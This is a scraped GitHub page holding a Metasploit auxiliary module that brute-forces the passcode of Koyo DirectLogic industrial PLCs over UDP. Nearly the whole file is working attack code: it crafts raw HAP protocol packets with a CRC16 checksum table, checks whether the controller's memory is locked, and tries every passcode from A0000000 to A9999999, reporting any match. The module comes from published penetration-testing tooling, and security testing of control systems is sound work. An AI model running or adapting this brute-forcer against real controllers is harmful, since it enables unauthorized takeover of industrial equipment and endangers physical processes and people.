Skip to content
This repository
branch: master
Tod Beardsley October 15, 2013
file 184 lines (158 sloc) 6.798 kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

# msfdev is going to want a bunch of other stuff for style/compat but this works
# TODO: Make into a real AuthBrute module, although the password pattern is fixed

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
      'Description' => %q{
This module attempts to authenticate to a locked Koyo DirectLogic PLC.
The PLC uses a restrictive passcode, which can be A0000000 through A9999999.
The "A" prefix can also be changed by the administrator to any other character,
which can be set through the PREFIX option of this module.

This module is based on the original 'koyobrute.rb' Basecamp module from
DigitalBond.
},
      'Author' =>
        [
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'DisclosureDate' => 'Jan 19 2012',
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ]
    )

    register_options(
      [
        OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
        OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]),
        Opt::RPORT(28784)
      ], self.class)
  end

  @@CCITT_16 = [
    0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
    0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
    0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
    0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
    0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
    0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
    0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
    0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
    0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
    0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
    0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
    0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
    0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
    0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
    0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
    0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
    0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
    0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
    0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
    0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
    0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
    0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
    0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
    0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
    0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
    0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
    0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
    0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
    0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
    0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
    0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
    0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
  ]

  def run_host(ip)

    # Create a socket in order to receive responses from a non-default IP
    @udp_sock = Rex::Socket::Udp.create(
      'PeerHost' => rhost,
      'PeerPort' => rport.to_i,
      'Context' => {'Msf' => framework, 'MsfExploit' => self}
    )
    add_socket(@udp_sock)

    print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...")

    if unlock_check
      # TODO: Report a vulnerability for an unlocked controller?
      print_good("#{rhost}:#{rport} - Unlocked!")
      return
    else
      print_status("#{rhost}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
    end

    # TODO: Consider sort_by {rand} in order to avoid sequential guessing
    # or something fancier

    (0..9999999).each do |i|
      passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0')
      vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}")
      bytes = passcode.scan(/../).map { |x| x.to_i(16) }
      passstr = bytes.pack("C*")
      res = try_auth(passstr)
      next if not res

      print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
      report_auth_info(
        :host => rhost,
        :port => rport.to_i,
        :proto => 'udp',
        :user => '',
        :pass => passcode, # NOTE: Human readable
        :active => true
      )
      break
    end

  end

  def crc16(buf, crc=0)
    buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }
    [crc].pack("v")
  end

  def unlock_check
    checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
    @udp_sock.sendto(checkpacket, rhost, rport.to_i)

    recvpacks = 0
    # TODO: Since the packet count is critical, consider using Capture instead,
    # but that requires root which is mildly annoying and not cross-platform.
    # IOW, not a hugely good way to solve this via packet counting, given the nature
    # of UDP.
    #
    # Another way to speed things up is to use fancy threading, but that's for another
    # day.
    while (r = @udp_sock.recvfrom(65535, 0.1) and recvpacks < 2)
      res = r[0]
      if res.length == 269 # auth reply packet
        if res[17,1] == "\x00" and res[19,1] == "\xD2" # Magic bytes
          return true
        end
      end
      recvpacks += 1
    end
    return false
  end

  def try_auth(passstr)
    data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
    header = "HAP"
    header += "\xe5\x01" # random session ID
    header += crc16(data)
    header += [data.length].pack("v")
    authpacket = header + data

    @udp_sock.sendto(authpacket, rhost, rport.to_i)

    2.times { @udp_sock.get(recv_timeout) } # talk to the hand

    status = unlock_check

    return status
  end

  def recv_timeout
    if datastore['RECV_TIMEOUT'].to_i.zero?
      3
    else
      datastore['RECV_TIMEOUT'].to_i.abs
    end
  end
end
Something went wrong with that request. Please try again.